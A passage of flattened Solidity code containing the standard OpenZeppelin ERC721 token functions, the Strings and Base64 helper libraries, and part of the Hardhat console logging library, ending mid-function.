function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT /// @title Base64 /// @author Brecht Devos - <[email protected]> /// @notice Provides a function for encoding some bytes in base64 library Base64 { string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { dataPtr := add(dataPtr, 3) // read 3 bytes let input := mload(dataPtr) // write 4 characters mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F))))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, 